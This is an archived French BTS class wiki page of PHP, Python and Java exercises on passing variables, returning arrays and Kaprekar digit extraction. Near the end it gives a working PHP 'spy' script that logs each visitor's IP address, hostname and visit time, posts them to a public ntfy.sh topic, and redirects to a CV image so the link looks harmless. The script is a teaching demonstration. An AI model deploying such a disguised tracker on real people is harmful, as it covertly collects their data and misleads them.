Ceci est une version archivée de
Bts1B2526S51Me à 2025-12-18 16:08:28.
Lundi 15 décembre 2025
Mardi 16 décembre 2025
Passage de variables en PHP
<?php
function conv($n){
return 2*$n;
}
function recup($n){
$a[1] = 2*$n;
$a[3] = 3*$n;
return $a;
}
$retour = conv(14);
echo("Valeur de retour = " . $retour . "\n");
$n = 49;
$a = recup(6);
// print_r(" Tableau = " . $a . "\n");
// echo("Valeur de a = " . $a . "\n");
echo("Valeur de n = " . $n . "\n");
echo("Valeur de a(1) = " . $a[1] . "\n");
echo("Valeur de a(3) = " . $a[3] . "\n");
?>
<?php
function calcul($a, $b) {
return [
"somme" => $a + $b,
"produit" => $a * $b
];
}
$resultat = calcul(3, 4);
echo ($resultat["somme"] . "\n"); // 7
echo $resultat["produit"]; // 12
?>
Code PHP pour Kaprekar :
<?php
function extraire($Nombre) {
$a = (int)($Nombre/100);
$b = (int)(($Nombre - 100*$a)/10);
$c = $Nombre - 100*$a - 10*$b;
echo("a = ". $a . "\n");
echo("b = ". $b . "\n");
echo("c = ". $c . "\n");
return $a;
}
$Val = 457;
$ret = extraire($Val);
?>
Code PHP pour Kaprekar avec valeurs de retour dans un tableau :
<?php
function extraire($Nombre) {
$a = (int)($Nombre/100);
$b = (int)(($Nombre - 100*$a)/10);
$c = $Nombre - 100*$a - 10*$b;
$Tab[0] = $a;
$Tab[1] = $b;
$Tab[2] = $c;
return $Tab;
}
$Val = 247;
$Tab = extraire($Val);
echo("a = ". $Tab[0] . "\n");
echo("b = ". $Tab[1] . "\n");
echo("c = ". $Tab[2] . "\n");
?>
Passage de variables en python
<?php
def calcul(a):
print("Valeur de a = " , a)
a = 2*a
return a
a = 24
print("Valeur de a dans le prog principal = " , a)
b = calcul(a)
print("Valeur de b dans le prog principal = " , b)
print("Valeur de a dans le prog principal = " , a)
Retourner plusieurs valeurs en python :
<?php
def calcul(a):
print("Valeur de a dans la fonction = " , a)
a = 2*a
b = 3*a
return a,b
a = 24
print("Valeur de a dans le prog principal = " , a)
x,y = calcul(a)
print("Valeur de x dans le prog principal = " , x)
print("Valeur de y dans le prog principal = " , y)
print("Valeur de a dans le prog principal = " , a)
Passage de plusieurs variables en python par un tableau
<?php
def calcul(a):
Tab = [0, 0] # tableau de taille 2
Tab[0] = 2*a
Tab[1] = 3*a
a = 2 * a
print("Valeur de a dans la fonction = " , a)
return Tab
a = 7
print("Valeur de a dans le prog principal = " , a)
Tableau = [0,0]
Tableau = calcul(a)
print("Valeur de x dans le prog principal = " , Tableau[0])
print("Valeur de y dans le prog principal = " , Tableau[1])
print("Valeur de a dans le prog principal = " , a)
Ajouter les lignes suivantes :
- print("\n\n")
- Tableau = calcul(3)
- print("Valeur de x dans le prog principal = " , Tableau[0])
- print("Valeur de y dans le prog principal = " , Tableau[1])
Dans la fonction on va redéfinir le tableau !!!
Passage de variables en java.
<?php
import java.util.*;
import java.lang.*;
import java.io.*;
// The main method must be in a class named "Main".
class Main {
public static void main(String[] args) {
System.out.println("Hello world!");
int monTableau[ ] = new int[10];
monTableau[0] = 12;
monTableau[1] = 21;
Calcul(monTableau);
System.out.println(monTableau[0]);
System.out.println(monTableau[1]);
}
public static int[] Calcul(int[] tableau) {
tableau[0] = 2 * tableau[0];
tableau[1] = 3 * tableau[1];
return tableau;
}
}
Remarque
Ce code fonctionne également ...
<?php
// The main method must be in a class named "Main".
class Main {
public static int[] Calcul(int[] tableau) {
tableau[0] = 2 * tableau[0];
tableau[1] = 3 * tableau[1];
return tableau;
}
public static void main(String[] args) {
System.out.println("Hello world!");
int monTableau[ ] = new int[10];
monTableau[0] = 12;
monTableau[1] = 21;
Calcul(monTableau);
System.out.println(monTableau[0]);
System.out.println(monTableau[1]);
}
}
Voyons comment utiliser Java avec Kaprekar ?
<?php
// The main method must be in a class named "Main".
class Main {
public static int[] Extrac(int[] tableau) {
int x = tableau[0];
tableau[0] = (int)(x/100);
tableau[1] = (int)((x - 100*tableau[0])/10);
tableau[2] = x - 100*tableau[0] - 10 * tableau[1];
return tableau;
}
public static void main(String[] args) {
System.out.println("Hello world!");
int monTableau[ ] = new int[10];
monTableau[0] = 357;
Extrac(monTableau);
System.out.println(monTableau[0]);
System.out.println(monTableau[1]);
System.out.println(monTableau[2]);
}
}
Liens
Python
- Tab = []
- Tab.append(2*a)
- Tab.append(3*a)
def calcul(a):
- Tab = [0, 0] # tableau de taille 2
- print("Valeur de a dans la fonction =", a)
- Tab[0] = 2 * a
- Tab[1] = 3 * a
- return Tab
Exercice :
On considère le programme Python suivant :
def calcul(a):
- Tab = []
- Tab[0] = 2 * a
- Tab[1] = 3 * a
- return Tab
a = 10
T = calcul(a)
print(T[0])
print(T[1])
Questions
- Que fait ce programme ?
- Le programme s’exécute-t-il correctement ? Justifier.
- Si ce n’est pas le cas, proposer une correction minimale.
- Donner l’affichage obtenu après correction.
15 heures 30 --> 17 heures 30
Un code qui espionne à installer sur alwaysdat ;-)
<?php
<?php
$file = "fichier.txt";
$fileopen=(fopen("$file",'a'));
date_default_timezone_set("Europe/Paris");
$IP_client = $_SERVER['REMOTE_ADDR'];
$Client = gethostbyaddr($IP_client);
echo ($IP_client . "<BR><BR>");
# echo ($Client . "<BR>");
$date = date("d-m-Y");
$heure = date("H:i");
$dateheure = " - Nous sommes le $date et il est $heure";
# echo ("<BR>" . $dateheure);
fwrite($fileopen, $Client . " \n " . $dateheure . " \n " . $IP_client . "\n\n");
fclose($fileopen);
$topic = "testbtsio";
$message = "Hello depuis PHP !" . $IP . "date et heure " . $dateheure . " host : " . $Client ;
$ch = curl_init("https://ntfy.sh/$topic");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $message);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
echo $response;
// header('Location: pdf-exemple.pdf');
header('Location: exemple-cv.jpg');
?>
Pour voir le fonctionnement !!
aller sur
cette page puis cliqer sur le lien ...
Vous verrez votre passage dans
ce fichier
et également à cette
adresse.
<?php
$to = 'recipient@email.com';
$subject = 'Mail sent from sendmail PHP script';
$from = 'test@testmail.com';
$headers = "From: $from";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=UTF-8\r\n";
$message = '<p><strong>Sendmail in PHP with HTML content. </strong></p>';
if (mail($to, $subject, $message, $headers)) {
echo 'Mail sent successfully.';
}
else
{
echo 'Unable to send mail. Please try again.';
}
?>